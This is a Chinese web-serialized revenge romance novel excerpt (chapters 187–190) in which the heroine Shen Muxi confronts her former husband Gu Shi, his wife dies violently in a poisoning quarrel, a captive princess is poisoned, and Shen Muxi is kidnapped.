“最开始,他的目的就是试探傅咏絮,先给一颗糖,惩罚了顾时,之后向傅咏絮提出自己的要求,他做了很多设想,只是没想到傅咏絮会选了一个最不可能的。” “最不可能的...要求?” 蓦然想起二人才进养心殿的时候,傅元怀表现出来的态度。 沈慕兮阴阳怪气地笑了,“殿下风采动人,能入二公主的眼,我是一点都不意外。” 这声音。 这笑容。 这语气。 慕容景衍后背一凉,连忙转移了话题。 “除了这个,今晚进宫,何尝不是一场试探?” 试探? 沈慕兮不明所以地看向他,“你清醒的事情,不是已经试探出来了?” “不,”慕容景衍轻轻摇头,“他想试探显王?” “显王...”沈慕兮倒抽一口两千,“他猜到显王与你之间的关系?” 慕容景衍点头,轻笑,“可惜我与显王早已做好了应对方法,哪怕是对方死了,我们不看对方一眼,他不会得逞。” 这才是傅元怀今晚失望的原因。 等不来显王,也没有显王的任何异动消息。 “你跟显王还真是能屈能伸。”沈慕兮讪讪一笑,“难得显王能与你配合这么好。” “即使配合再好,我们也只是暂时的合作关系。” 慕容景衍提醒,“后面不管显王找你做些什么或者问你些什么,都不用过多理会。” “为何?” 慕容景衍惨白的嘴角漾出了一抹微笑,“你猜我为何受伤?” “是他?” 慕容景衍没有继续这个话题。 显然已经默认。 沈慕兮双拳紧紧攥紧,“可若是你跟这样的人合作了,万一...” 那人说反水就反水... 慕容景衍眼底闪过一抹冷意,“除非他不想要北宸这个江山,否则...” “否则?” “没事,你只要知道,只要他想要这北宸江山,不会动我们分毫就可以了。” 沈慕兮还想问些什么,可慕容景衍此时已经双目紧闭。 眉宇之间充满了疲惫。 她到嘴边的话还是全数咽了回去。 马车再次往前行走了一小段路,突然停了下来。 沈慕兮掀开车帘,“怎么了?” 贺鸿应道,“前面好像是荣郡王府的马车挡了道。” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第188章 我要你给我女儿陪葬 “荣郡王府?” 沈慕兮循声望去,顾时不知道下了马车。 贺鸿想要说些什么。 沈慕兮抬手打断了他即将说出来的话,“殿下似乎很是疲惫,你们先悄悄回去,将他好好安置。” “可是您现在...” 手无缚鸡之力。 “不用担心,没事的。”沈慕兮笑着安慰。 顾时现在已经认出了自己。 之前一直与他纠缠,她都否认。 不过只是让他体会一下,求而不得地辗转反侧。 如今即将做出了断,她自然不可能再让他舒坦。 顾时本来只是抱着能够让沈慕兮停下来就停下来的心情。 不能停下来,他下次找机会。 做梦没想到,沈慕兮居然来了,而且还是一个人。 他的嘴角微微一勾,一抹浅浅的微笑挂在嘴边。 “慕慕...” “顾大人今日不是才被罚了俸禄在府中思过?怎么,现在还不回府思过,是觉得被罚得不够重吗?” “不是,我一直等在这里,就是为了想要再见你一面。” 顾时恨不得将自己的一颗心剖到她面前,“慕慕,我错了,我当初不应该这样对你,我...” “顾大人,难道你不觉得现在说这些话,很可笑吗?” 沈慕兮距离他五步之遥,夜色下,她的眼神与清冷的月光一样凉薄。 “顾时,你知道吗?” “什么?” 听到沈慕兮连名带姓唤出自己名字的那一刻。 顾时眼底迅速闪过一抹希冀,“慕慕,你想跟我说什么?” 她讽刺地轻嗤道,“你这副摇尾乞怜的样子,真的好像一条赶都赶不走的癞皮狗。” 她的话一出口,顾时整个人如遭雷击。 曾几何时,沈慕兮也是这样追在他的身后,要为她量体裁衣—— “顾时,你再跑,我就不帮你裁衣做新衣裳了。” 挺着肚子的沈慕兮大步跟上顾时的步子。 彼时顾时正在急着给康氏置办新被褥,被沈慕兮追上后,不耐烦地皱眉,用半开玩笑的口吻笑道,“沈慕兮,你知不知道你现在看上去像什么?像一条赶都赶不走的癞皮狗。” 当年的话,如同飞出去的回旋镖。 数年之后,直直飞回来,正中他的眉心。 眼前女子,模样与之前的她最多只有七分相似,看向他的目光,早已没了以前对他的眷恋。 一时之间,他竟有点恍惚。 他们,怎么就会走到这一步呢? 明明,她以前这么爱他。 在知道他的手受伤后,不惜冒着性命危险冒着暴雨上山,只为了给他采药治伤。 如今,他右手手臂的位置,还在隐隐作痛。 鬼使神差一般,他红了眼眶,“沈慕兮,我...我的手,还在疼...” 沈慕兮嗤笑一声,“你是手疼而已,怎么连脑子都不好使了?” 看到顾时一脸受伤看向自己的那一刻,她更是毫不留情地嘲讽,“手疼你找大夫,找我能顶什么用?” 场景仿佛又回到了沈慕兮生孩子的时候—— 那时候,康氏看沈慕兮买了新布给孩子做衣裳就数落了她几句。 没想到向来软弱好说话的沈慕兮居然敢公然开口顶嘴。 康氏一气之下骂了她一句“下贱坯子瞎矫情”,竟气得她当场动了胎气。 顾时那会看到沈慕兮与自己母妃顶嘴,正两头为难。 沈慕兮拉着他的手苦苦哀求他,说自己肚子疼,可能要生了。 他当时是怎么说来着? “生孩子肚子疼,不是每个女人都要经历的事情吗?怎么在你这里,就变得这么难以忍受了?” “肚子疼你找稳婆找大夫,找我做什么?我又不能帮你分担痛楚。” 如今,他说对沈慕兮说过的话,全数变成了沈慕兮扎进他心里的利刃。 他几乎已经完全可以确定,这就是沈慕兮本人。 可是,她对以前的一切,还在耿耿于怀。 顾时当场红了眼眶,“我...以前我是太年轻...” 现在不会了。 “天色已晚,荣郡王爷不睡觉,来找本宫的太子妃,所为何事?” 慕容景衍的声音突兀响起,打断了顾时的还未说出口的话。 沈慕兮转头,看到慕容景衍正在贺鸿的搀扶下缓步而来,惨白的月光映在他的脸上,显得他的脸色苍白得几乎透明。 她连忙上前搀扶,“殿下,你怎么不好好回去安置?” 慕容景衍微微一笑,抬手为她插上一支白玉素簪。 “你的发簪落在马车了,我给你送过来。” 他语气温柔,眼底,是毫不掩饰的深情。 说话间,他腰间一白一绿两个锦囊显露在顾时的眼前。 顾时一开始只觉得锦囊眼熟,似乎是在什么地方见过。 电光石火间,他骤然想起,这是沈慕兮之前想要送给他,却还未来得及送出去就被他嫌弃着拒绝了的锦囊。 而被他决绝了的东西,如今却安然无恙地挂在了慕容景衍的腰间。 这章没有结束,请点击下一页继续阅读!一时之间,顾时的脸色黑如锅底。 “不知殿下的香囊,是在哪里买的?” 他努力想让自己的神色变得正常一点。 奈何心中嫉妒,让他含笑的目光也变得极有侵略性。 慕容景衍诧异地看顾时,“荣郡王也喜欢这种样式吗?可惜了,这是本宫的太子妃亲自为本宫祈福回来以后所缝制,里面有太子妃满满的爱意,本宫不允许,也舍不得它被其他脏污东西污染了。” 他的一番像是开玩笑一样说出口。 可顾时分明就感觉到他口中所说的“脏东西”就是他自己,他不禁恼羞成怒,“你...” “王爷怎么了?可是有什么话要与本宫说?” 慕容景衍笑得一脸无害。 甚至还无辜地朝他眨了眨眼。 这人,分明就是故意的。 即使两人之间隔了将近一丈远,顾时依然可以感觉到他从骨子里散发出来的,对他的敌意。 双拳紧紧攥起,顾时似是在极力克制些什么。 “没有...” 他当然想告诉慕容景衍,关于沈慕兮过去的一切。 可万一... 他告诉慕容景衍以后,慕容景衍更加不放手或者以此做要挟呢? 他不能冒这种险。 几个呼吸的瞬间,顾时的思绪已是百转千回。 慕容景衍像是看不出他心中所想,笑着跟他拱手道别。 “既然没有什么事,本宫跟本宫的太子妃就先回去了。” 说完,他牵起沈慕兮的手就要离开。 转身之时,沈慕兮似笑非笑地瞥了顾时一眼,眼底还带了一抹可惜——可惜了,慕容景衍突然出现,她想质问顾时都没机会。 也不知道是不是她的错觉。 她总觉得,慕容景衍好像是故意要来针对顾时。 手上传来力度不轻不重的反握。 沈慕兮这才反应过来,他们已经回到了马车上。 回神对上了一双带着笑意的眸子,“怎么,舍不得?” 她嗤笑一声,“怎么可能?” 要不是慕容景衍突然出现,她早就把顾时的问题先解决了。 偏偏罪魁祸首仿佛不知道自己做错了什么,还笑得像个邀功的孩子。 沈慕兮想要伸手扶额,后知后觉反应过来两人还在十指紧扣。 她像是触电一般松开了与慕容景衍交握的双手。 热意不住地往上涌,染红了她的脸颊跟耳根。 “我...我不是故意的。” 慕容景衍看了一眼空落落的手心,眼底失落一闪而逝。 很快他又恢复了在沈慕兮面前的随和,“在本宫面前,你可以做回沈慕兮。” 沈慕兮半开玩笑地用自己的肩膀碰了碰慕容景衍的肩膀,“亲疏有别,殿下不计较是殿下人的,但我总要感念殿下的好。 你不在乎,我也要为你的清名着想啊。” 慕容景衍无力抬头想要看天。 发现眼前只有漆黑的马车车顶。 像极了他的茫茫追妻路。 心累。 从这一刻开始,他暂时不想跟这个一直不开窍的傻子说话。 某个“傻子”讨人嫌而不自知。 “这两个东西,挂在殿下腰上似乎有点碍事,不然殿下还是解下来吧。” 不开窍也就算了,还想将他的东西都收走? 没门。 慕容景衍往侧边挪了一下,躲过了沈慕兮想要解开他腰间锦囊的“魔爪”,“不必,这东西戴在身上,还是有用处的。” 沈慕兮还想说些什么劝一下,想起锦囊里还放了东西,她才恍然大悟。 “我怎么就把这么重要的事情给忘了呢?” 她懊恼地拍了拍脑门,随后信誓旦旦地跟慕容景衍保证,“殿下放心,等回去行宫别苑,我就给你换俩没那么引人注目的。” 慕容景衍眼睛一合,决定不再跟她多言。 ... 顾时在看到慕容景衍腰间出现了那两个锦囊的那一刻,只觉得自己心都碎成了渣。 好消息:沈慕兮没洗。 坏消息:她好像真的不爱他了。 看到她跟着慕容景衍毫不犹豫地离开,看他的眼神,只有鄙视跟厌恶。 他那颗几乎捧到她面前的心,瞬间碎成了渣渣。 直到两人走远了,他才如梦初醒。 站在原地喃喃自语—— “那是你要送给我的东西,怎么可以一声不吭,送到别人手上?” 失魂落魄地回到了荣郡王府,顾时的脸色十分难看。 迎接他的下人也识趣地闭了嘴。 宫里的旨意早已送达。 府上下人都知道,顾时现在的心情极其不爽利。 正常人都不会去触他的霉头。 偏偏,苏柳溪像是听不懂人话似的。 不知道听谁说顾时回来了,她一股脑推开了前来为她上药的婢女,大步往外冲。 竟真的让她跑了出来,拦在顾时面前。 “顾时,你个畜生,懦夫,伪君子,你害死了苏府,害死了我的女儿,我要你给我女儿陪葬。” 话音落下,她像疯了一样伸出双手紧紧掐住顾时的脖子。 这章没有结束,请点击下一页继续阅读!双目充血,整个人已经陷入了疯魔。 顾时反手扯开了她的手臂,“够了,你发什么疯?” 苏柳溪顺势跌倒在地上,似哭似笑,“我疯?” 此时她的鬓发散乱,衣裳布满了脏污,身上还散发着一股呛人的异味。 熏得顾时眼睛发酸。 “你要不要去照照镜子,看看你如今是什么鬼样子?” “我变成这个样子,都是拜你所赐。”苏柳溪跌坐在地上,仰首看向顾时的时候,双目通红,“不管我变成什么样子,只要看到你这副模样,我就无比恶心。” “顾时,你一直觉得你是天之骄子,殊不知,若是没有我苏府,你至今也不过只是一条在丹阳讨生活的可怜虫。” “我苏府落魄,你也别想好过,当初就是我苏府帮你...” “你闭嘴。” 眼看苏柳溪要把顾时以前的事情说出来,顾时再也顾不得下人在周围人来人往。 众目睽睽之下,他弯腰伸手掐住了苏柳溪的脖子,将她像拖死狗一样拖回去了柴房。 沿途留下了一条被拖行的血痕。 柴房里。 蚊蝇密密麻麻地拢在角落位置。 味道比苏柳溪身上的还呛人刺鼻数十倍。 顾时才刚踏入拆房,只觉得一股奇怪的味道像是有生命一样钻进他的喉咙,他努力强忍,最后还是没忍住,丢下苏柳溪扶在门口位置吐了一地。 苏柳溪一时不察,后脑勺着地,磕得眼冒金星。 等她反应过来的时候,顾时已经怒急攻心地唤来了其他下人。 “都干什么吃的?没有看到这里有这么多蚊蝇吗?” 其中一个下人战战兢兢上前,“王爷,那是...悦悦小姐在...” 悦悦小姐? 顾时这时才反应过来,蚊蝇都在围着一坨还在渗出血水的烂肉打转。 正要上前查看,被一名小厮拉住了,“王爷,莫要靠近,那团烂肉有毒。” 顾时这时候才注意到了,拦下他的小厮,手背上跟脸上,都有不同程度的腐烂... 手上传来了黏腻的触感以及微微刺痛的感觉。 顾时连忙低头,他的右手掌心,不知道什么时候,竟然变得血肉模糊。 就像是被什么东西刻意吞噬了血肉了一样。 像是想起了什么,他又看了一眼苏柳溪的脖子。 不出他所料。 苏柳溪脖子被他掐过的位置,此时已是血肉模糊。 这种情况... 当初他在虞悦希的脸上见过。 是一种腐蚀性极强的毒。 他大惊失色。 “水,快打水来。” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第189章 苏柳溪母女惨死——便宜她们了 下人的速度很快。 顾时没命似的在水里揉搓双手,想要试图将手上沾上的血肉洗掉。 越洗,手越疼。 “你个贱人,悦悦是你的孩子,我是你的丈夫,你怎可以如此狠毒?” 苏柳溪看着顾时受伤的手疯狂大小,“顾时,没想到吧?你也有今日,不用这样看着我,我就是故意的。” 她瞪着顾时的眼珠子凸出,几乎要掉下来,顾时想要后退,被她突然飞身上前抓住了手上的手掌。 “我好不了,你也别想好。” 也不知道她哪来的力气,不管顾时如何挣扎,就是挣扎不开。 每当顾时挣扎的力度变大一点,苏柳溪嘴角的笑容就会加深几分。 “沈慕兮回来复仇了,我快死了,你也别想活。” “你简直就是胡言乱语。” 顾时忍无可忍地踹了她心窝一脚。 “咔”的一声,苏柳溪胸口位置凹下去了一个大坑。 她呼痛倒在地上半天爬不起来,口中鲜血不断往外涌,还带着肉沫。 嘴角的笑容却是半分不减。 顾时的手更疼了。 “说,解药在哪里?” 苏柳溪挣扎着想要起来。 奈何她的身体似乎到了强弩之末,不管如何努力,依旧爬不起来。 在一次失败之后,她嘴巴微动,看向顾时的目光带着祈求,似是想要说些什么。 到底也是顾时曾经爱过的女人。 心中一阵天人交战过后,顾时最终还是强忍着恶臭蹲下身子凑到她的耳边。 没有任何声音。 “你说什...啊!!” 一阵剧痛在他的耳朵传来。 他惨叫一声,挣开了苏柳溪的伤害。 苏柳溪狞笑着咀嚼嘴里的东西,目光带着挑衅。 顾时一脸痛苦地捂着耳朵,鲜血在指缝中沁出。 身上疼痛以及苏柳溪挑衅的眼神激发了他体内死死压制的兽性。 不顾下人阻拦,他大步上前没命似的踹向苏柳溪的胸口,“你个贱人,你居然敢暗算我。” 一脚。 一脚。 又一脚。 他红着眼,显然已经失去了理智。 最开始,苏柳溪还会挣扎惨叫几声。 后面,挣扎力度小了,惨叫声越来越细弱。 最后,苏柳溪没了声响,也一动不动... 等顾时反应过来的时候,苏柳溪的胸口位置已经软塌了一大片。 嘴角溢出的鲜血还挂着肉沫。 瞪圆了的眼珠子几乎要掉出来。 就那样瞪着顾时。 目光怨毒。 顾时被吓得一连后退了几大步。 “来...来人...” 刚才拉不住顾时的下人再次上前。 秦寿应声而来。 饶是他见多识广,还是被眼前的景象惊呆了。 死的人,到底也是荣郡王妃,就这么... 没了? 还有,角落被蚊蝇缭绕不散的那团烂肉... “王爷...” 郡王妃死了,不是小事... 稍有不慎,处理起来也极为棘手。 “苏氏目中无人,意图谋害本王,被本王感化,自行了断。” 顾时捂着还在沁血的残耳。 此时他的理智早已回笼,声音还带着沙哑。 吐出来的每个字都格外冷酷无情。 在顾时的提醒下。 秦寿也迅速反应。 “老奴知道应该怎么处理了。” 转眼看到顾时耳朵跟手上都有伤,他又吩咐了下人给顾时请大夫。 当天夜里。 荣郡王府发生了走水。 火光映红了一片天。 翌日,荣郡王府挂起了丧幡。 荣郡王妃以及荣郡王养女都死在了那场大火之中。 荣郡王伤心过度,一病不起。 小小的插曲,并没有在京城引起什么风波。 沈慕兮在了解清楚荣郡王府发生事情的前因后果之后,嘴角只勾起一抹冷冷的弧度。 “倒是便宜她们了。” 没想到顾时这么没用。 被刺激两下就直接给苏柳溪来了个了断。 “姑娘还是太仁慈了。”夏蝉语气带着惋惜。 自从听姑娘提起过关于姑娘的好友被荣郡王府那对恶毒的母女残害致死的事情后。 她就对那对母女没有任何好感。 也因此,对于姑娘实施在母女二人身上的报复,她极力支持,甚至还会“夹带私货”,让在荣郡王府的弟兄们好好“招呼”那对母女... “单单凭着那对母女曾经对您好友做过的事情,死一万遍,都难以抵消心头之恨。” 夏蝉那副愤愤不平的小模样,成功取悦了沈慕兮。 本来还失望的心情,一下子恢复了不少。 “我曾经也是这么想的,”沈慕兮嘴角冷淡的笑意,在看向夏蝉的时候逐渐变得柔和真诚,“在刚刚知道我好友死讯的时候,我没有一天不在恨,可是随着时间的推移,看着他们在我的安排下,逐渐失去在意的东西,各自在狗咬狗,我心里的恨意在逐渐消弭。” “恨一个人或者一群人太累了,亲自对一群畜生动手,我也嫌脏。 这章没有结束,请点击下一页继续阅读!最好的报复,莫过于,我打破他们生活的平静与平衡,让他们自相残杀。” 要是她也跟那些人一样心狠手辣,那她跟那些人也没有本质的区别。 每个人的成长经历决定他们的性格。 苏柳溪母女习惯了从别人口中夺食获取养分。 她跟筱筱,更喜欢自食其力,这就是她们母女与苏柳溪母女最大的差别。 不同性子的人,就应该做不同的事情。 比如苏柳溪母女。 又比如,她跟筱筱... 总之,得到了自己想要的结果,沈慕兮也没有再计较过程如何。 “现在大理寺那边是什么情况?”她三言两语将话题从荣郡王府移开。 夏蝉顺着她的话题开口道,“裴大人说,只要姑娘愿意,随时可以去暗牢那边,等二公主的问题处理了,你们算是两清。” 两清? 沈慕兮挑眉,“裴望的算盘珠子,都要蹦到我脸上来了。” 傅咏絮的事情只是他替他办事的其中一个小分支。 用一个小分支换整棵大树,想得倒是挺美。 看到沈慕兮往外走,夏蝉亦步亦趋跟上,“姑娘前两天扭到的脚,现在不痛了吗?” “早就好了。” “姑娘,您现在是要去暗牢那边?咱们离府需要告诉殿下不?” “不必,这是我的私事,况且...” 脑子里莫名出现了慕容景衍带病也要在床上放小几处理公文的落魄忙碌样,沈慕兮微微勾唇,“殿下也忙。” 这两天,傅咏絮被抓起来,她的那些面首群龙无首,也正好给了慕容景衍机会。 还有南渊的一些需要处理的公务。 这种时候,即使她想要找慕容景衍,慕容景衍也不见得有空理会她。 半个时辰后。 暗牢。 裴望早早在入口处等她。 “眼下姑娘的事情已经办得差不多,是不是也应该兑现您的承诺。” 沈慕兮笑着把一卷文书丢给裴望。 在裴望开口之前,先开口了,“这份文书,我有誊抄,大人若是想要过河拆桥,你的那点小心思,就会公诸于世。” 明明她说话语气平淡得就像在谈论“今天天气很好”,可裴望却能清楚地感受到了她身上传来的威压。 他无奈叹气,“我不是顾时那种伪君子。” 所以你不必防我跟防贼似的。 “有备无患,总是好的。”沈慕兮脸上笑容依旧,眼底没有半分笑意。 很显然。 暂时是没法两清了。 裴望认命地唤来了看守的狱卒。 在狱卒的带领下,沈慕兮很快到了关押傅咏絮的牢房。 早在进入大理寺天牢的当天,裴望就将人转移来到了这里。 经历了两天暗无天日的关押,傅咏絮又困又饿。 奈何四周完全没有声音,不管她怎么叫,应和她的只有回音。 如是喊了几个时辰,她口干舌燥且饥肠辘辘。 万分无奈,她只好放弃了呼喊。 漆黑之中,时间的流逝也仿佛变得格外漫长。 傅咏絮不知道时间过去了多久。 她只知道自己循环往复睡了醒醒了睡。 迷糊之际,她似乎听到了有往这边而来的脚步声。 她再次燃起了希望。 “放我出去。” “快放我出去。” “放...是你?” 看清来人模样的那一刻,傅咏絮整个人处于一种防备心极重的状态。 “你来做什么?” “不,不对,这是我北宸的天牢,你是怎么进来的?” 纵然已经流落在暗牢,傅咏絮在看到沈慕兮的那一刻,早已恢复了往日不可一世的样子。 “我来做什么不重要,重要的是,你快死了。”沈慕兮凑到傅咏絮耳边低语。 一字一顿,语速极为缓慢,生怕她听不清。 在傅咏絮震惊的目光中,狱卒打开了牢门。 傅咏絮想要逃,奈何开门的狱卒守在牢门。 毫不怜惜地将想要冲到外面去的她推了回去。 力度太大,她因为惯性重重摔倒在地,双手掌心位置传来了尖锐的疼痛,她本能地呼痛了一声。 往日被下人簇拥的场景仿佛像是上辈子的事情。 此时她有火无处发,只好在沈慕兮缓步走过来的时候不断手脚并用往后退。 嘴里还磕磕巴巴地问道,“你...你到底想要做什么?” “刚刚不是已经告诉你了吗?”沈慕兮的步伐没有停顿。 刚刚告诉她? 她快死了? 她是来要她的命的?! 脑子七拐八拐,总算拐到了重点。 傅咏絮心中害怕,嘴上依旧不饶人。 “你,你大胆,本宫是北宸当今二公主...” “公主?”沈慕兮停住脚步,笑了,“前些天你策马在路上狂奔的时候,可有想过那些被你吓得四处逃窜的是你的子民?” 傅咏絮恍悟,“你就是为了那些蚁民,来对我动手?” “错了,我是为了一个公道。”沈慕兮敛起笑容,目光骤冷,“那辆马车上那个被你害死的人,公主不会忘了吧?” 这章没有结束,请点击下一页继续阅读!马车? 最近她也就被一辆马车惊扰过。 傅咏絮一下子想起来了。 那个脾气火爆,被她的人抓住了还要她讲道理的蚁民! “你是她什么人?” 傅咏絮在努力找补。 试图想要通过与沈慕兮交换条件,换回自己的一线生机。 “我是她的什么人不重要,下半辈子,你策马扬鞭的时候,注意点。” 话落,沈慕兮笑着朝她挥了一下衣袖。 一股熟悉的异香扑鼻而来。 傅咏絮猛然想起来之前自己在府上拉肚子的事情。 “你...你...” 她双目瞪圆,一口气提起来以后,无论如何都没办法再呼吸下一口气。 极度缺氧的情况下,她的脸很快涨红了,转眼,她的脸色又从涨红变成深紫。 双眼迅速充血,她捂住自己的喉咙,试图想要在喉咙位置开个口子好让自己能够重新呼吸。 喉咙却半点声音都发不出来。 耳朵开始出现耳鸣,听不到周遭的任何声音。 她一个手捂着自己的喉咙,一个手抬向沈慕兮,想要抓住她的裙摆求她救命。 仿佛看出了她的打算,沈慕兮一路往后退。 傅咏絮已经没有力气再挪动自己半分,只能绝望地看着沈慕兮的裙摆从自己的视线之中消失。 沿着漆黑的甬道一路回去暗牢之外。 直到灼热的阳光撒在身上,沈慕兮才有一种重新活过来的错觉。 她仰头隐去了自己眼角的泪花。 若无其事地开口,“走吧。” 夏蝉一直在暗牢外等候沈慕兮。 看到她出来也没有多问里面发生了什么事情,只是跟上问了一句,“姑娘,咱们现在去哪?” “回去别苑。” 停顿了一下,沈慕兮吩咐道,“回头,你让贺鸿将范珊的骨灰给我。” 京都这种地方,对范珊来说,是束缚。 他们要回去丹阳好好安置,要踏遍南渊北宸的大好河山。 ... 暗牢与行宫别苑的路程大概有小半个时辰。 一来一回,路上又耽搁一下,半天过去了。 沈慕兮回到行宫别苑的时候,天色已经擦黑。 慕容景衍四平八稳地坐在了主院的侧厅主位,似乎久侯多时。 沈慕兮有点诧异慕容景衍突然出现,很快又用笑容掩去了自己的不自然。 笑着上前,“殿下这么晚了,还不歇息吗?” “你去处理傅咏絮了?” 慕容景衍一眼就看出了她想做什么。 沈慕兮笑了,“不可以吗?” “不是不可以,只是下次你做这些事情之前,劳烦先跟我说一声,刚才傅君靖找上门了。” 换言之,不知道任何真相的情况下,他想要护短,也显得被动。 沈慕兮不明所以,“怎么,傅咏絮跟他也有交集?” 慕容景衍轻嗤一声,“能有什么交集?不过就是想在傅元怀面前摆摆样子,好将自己想要的东西拿到手。” 一次性说话太多,他似乎扯到了伤口,痛得他倒抽了一口凉气。 沈慕兮心头一紧,连傅君靖的目的都来不及细问,连忙上前查看,“你现在感觉怎样了?” 贺玄在一旁插嘴,“殿下当时被一把剑直接贯穿了肺部,又不愿意好好养着就没命似的赶回来,这会只要一呼吸就咳嗽不止。” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第190章 沈慕兮被掳走报复 沈慕兮一听,不顾慕容景衍的拒绝,立刻为他号脉。 脉搏虚软无力。 咳嗽之时还带了些急促。 显然是内里亏空严重。 典型的伤重之后未来得及痊愈。 她当场沉下了脸,“你现在是怎么回事?” 慕容景衍像是做错事被抓包的小孩,“贺玄说的夸张,哪有那么严重?” “夸张?你自己的肺被开了个窟窿,自己都不知道吗?” 说着,她也不顾男女之别,上前扒拉开了他的衣裳。 胸口位置的绷带,不知道什么时候开始被染红了。 沈慕兮心口像是被针刺了一下。 “你说你,伤口都崩开了,还硬撑。” “我这...” 慕容景衍还想狡辩几句。 看到沈慕兮红了眼眶。 他摸了摸鼻子。 “好好好,都是我的错,可以了吧。” “贺玄,绷带,金疮药拿来,另外,等会我开个方子,你找个信得过的人去抓药回来,亲自看着药汁熬煮出来,端过来。” 不怪她吩咐细致,而是之前傅咏絮跟顾时大摇大摆进来了也没人通报,让沈慕兮感觉,现在的行宫别苑,漏得跟筛子似的。 他们必须要最大限度保证自己的人身安危。 从没见过自家主子吃瘪成这样,贺玄强忍着笑意退下了。 沈慕兮的注意力全数落在慕容景衍的伤势以及自己落笔写的方子上,全然没有注意慕容景衍看向自己的目光。 就在这时。 夏蝉来了。 “姑娘,荣郡王府那边有消息了。” 沈慕兮只是微微颔首,继续写方子。 慕容景衍装模作样地提醒沈慕兮,“你不是一直想要跟顾时做了断吗?时机差不多了。” “等我给你换了药再去。” 慕容景衍“啧”了一声,“我还以为你会说‘我现在要以你为重,先不去’。” 沈慕兮接过贺玄递过来的绷带剪刀,“怎么可能?” 她熟练地为慕容景衍换下原先的绷带。 重新包扎,全程连眼皮都没抬。 更像是... 逃避与他的眼神对视。 慕容景衍故作轻松地开口,“丹阳那边的地契,基本上已经拿到手,苏府上下被斩首,苏勇不知所踪,荣郡王府如今已是强弩之末,若是想要把自己的损失收回来,现在是最好的时机。” “我知道。”她的声音依旧平静如水。 又是一阵沉默。 夏蝉与贺玄早已识趣退下。 沈慕兮很快就给慕容景衍重新将伤口包扎好。 “你的伤口极深,这些天也没有怎么养,不能再乱动了,否则伤口崩裂,伤及脏腑,到时候得不偿失。” 慕容景衍不以为意地笑了,“你很关心我?” 尽管她一直想要跟他保持距离。 可是一直不经意间流露出来的关怀,是骗不了人的。 她也在意他。 这个发现,让慕容景衍极为欢喜。 只要不是一厢情愿,他都愿意等下去。 沈慕兮不知道慕容景衍内心的真实想法。 只知道,若是再跟慕容景衍纠缠下去,她会再次重蹈在丹阳时候的覆辙。 在男人身上,栽过一次就够了。 她不想再栽倒第二次。 “说起来,殿下也算是我跟筱筱的救命恩人,区区小事,何须挂齿?” 她客套又疏离地应了一声。 又唤来了贺玄,与贺玄说了一些注意事项才出门。 慕容景衍不放心地叮嘱了一句,“如今苏勇尚在暗处,若是出门发现不妥,定要让夏蝉发信号。” “好。”沈慕兮应下。 夏蝉如今已经变成了沈慕兮的贴身丫鬟。 沈慕兮出门,她自是要跟上。 行宫别院与荣郡王府,说远不远,说近不近。 可还不至于要抄小路。 当马车拐向另外一个方向的时候,沈慕兮就已经觉察到了危险。 她看向夏蝉,对上了后者看向她的目光。 两人不动声色地对视了一眼。 微微朝对方颔首。 夏蝉悄悄向外发出了一枚信号弹。 沈慕兮只觉得自己一颗心正突突直跳。 就在她悄悄探手到袖袋之中想要将用来防身的药粉攥在手上之际—— “姑娘,小心。” 夏蝉一声提醒在耳边响起,探到袖袋之中的双手也被压得动弹不得。 紧接着,沈慕兮感觉自己整个人被带飞了起来。 一阵天旋地转之后,是被惯性冲击一路被推行。 后背似乎被刮伤了,火辣辣的疼。 “夏蝉...” 沈慕兮晕头转向地想要分清方位。 很快就看到了一旁肩膀已经被鲜血染红了的夏蝉,还未来得及说话。 夏蝉已经将沈慕兮交给车夫手上,目光凌厉地飞身上前与拦截她们的黑衣人缠斗在一起。 沈慕兮担心地想要上前。 颈脖传来一片冰凉。 不知道什么开始,一柄闪着冷光的弯刀正架在她的脖子上。 “如果我是你,我会选择乖乖地闭嘴。” 本小章还未完,请点击下一页继续阅读后面精彩内容!这个声音。 哪怕这个人换了脸换了躯体,沈慕兮还是一下子就认出来了。 这是苏勇。 因为惊惧,她的身体本能地颤抖了一下。 恍惚间,她像是回到了曾经那个让她绝望的雨夜。 仅仅只是停顿了那么一下,对方的手已经毫不留情地扣住了她的经脉,“现在闭嘴,跟我走。” 曾经死在苏勇手上。 沈慕兮对苏勇有一种出于本能的惧怕。 她僵硬着身体,对于苏勇的要求,只能照做。 刚才脑袋被重重撞击了一下,沈慕兮整个人都恍恍惚惚,并不知道自己即将要去什么地方。 只知道,自己在被苏勇带走时,夏蝉为了追她,挨了一刀。 她正要开口让夏蝉快逃,后颈一痛。 她瞬间失去了意识。 ... 行宫别苑。 看到夏蝉发出信号弹的那一刻。 贺鸿已经以最快的速度让暗卫追上。 只可惜... “殿下,属下们去晚了一步,只在京城五十里处,寻到了重伤的夏蝉。” 话落,几名暗卫将浑身是血的夏蝉抬了上来。 贺鸿以银针轻扎夏蝉的人中。 夏蝉缓缓醒转。 几乎是出于本能,她抬脚就要踹向理她最近的一名暗卫,被贺鸿制止了。 “夏蝉,到底发生什么事了?” “殿下。” 看清自己已经回到了行宫别苑。 夏蝉提着的一口气,彻底松了下来。 “救...救姑娘,苏...苏勇...” 艰难说完这几个字,夏蝉终是坚持不住,昏迷过去。 “让刘太医过来,务必要将夏蝉救回来。” 慕容景衍从轮椅上站起来,“贺玄调动京中所有探子,势必要找到太子妃的下落。” 顿了顿,他又补充道,“另外,盯紧显王府,这几天,出入在显王府周围的人,全部盘查一遍。” 贺鸿贺玄两人退下。 眼看慕容景衍提剑就要往外走,贺鸿连忙阻止,“殿下身上的伤...” “待她安然无恙,本宫自然会好好养伤。” ... 荣郡王府。 沈慕兮被苏勇带走的消息,很快传到了顾时的耳中。 “苏勇当真如此胆大包天?” 裴望一身平民打扮,拦住了想要往外走的故事,“我给你带这个消息过来不是让你冲动的,以后这位南渊太子妃定然会成为过去,你也莫要想太多,等禁足期过去,皇上定然会继续重用你...” “若是没有他,皇上再重用,又有什么意义?” 顾时挣开了裴望的阻拦。 全然不顾裴望在后面担忧地唤着“顾兄”... 一直等到顾时跑到不见了人影,他脸上的担忧,才全数散去。 “顾时,你的报应,来了。” ... 沈慕兮不知道外面的时间过了多久。 她只知道自己被打晕了以后,就被带去了一处暗无天日的地窖。 睡睡醒醒好几次。 还不知道外面到底发生了什么事... 口干舌燥。 她已经饥肠辘辘。 奈何她被捆得动弹不得。 双肩位置还传来剧痛。 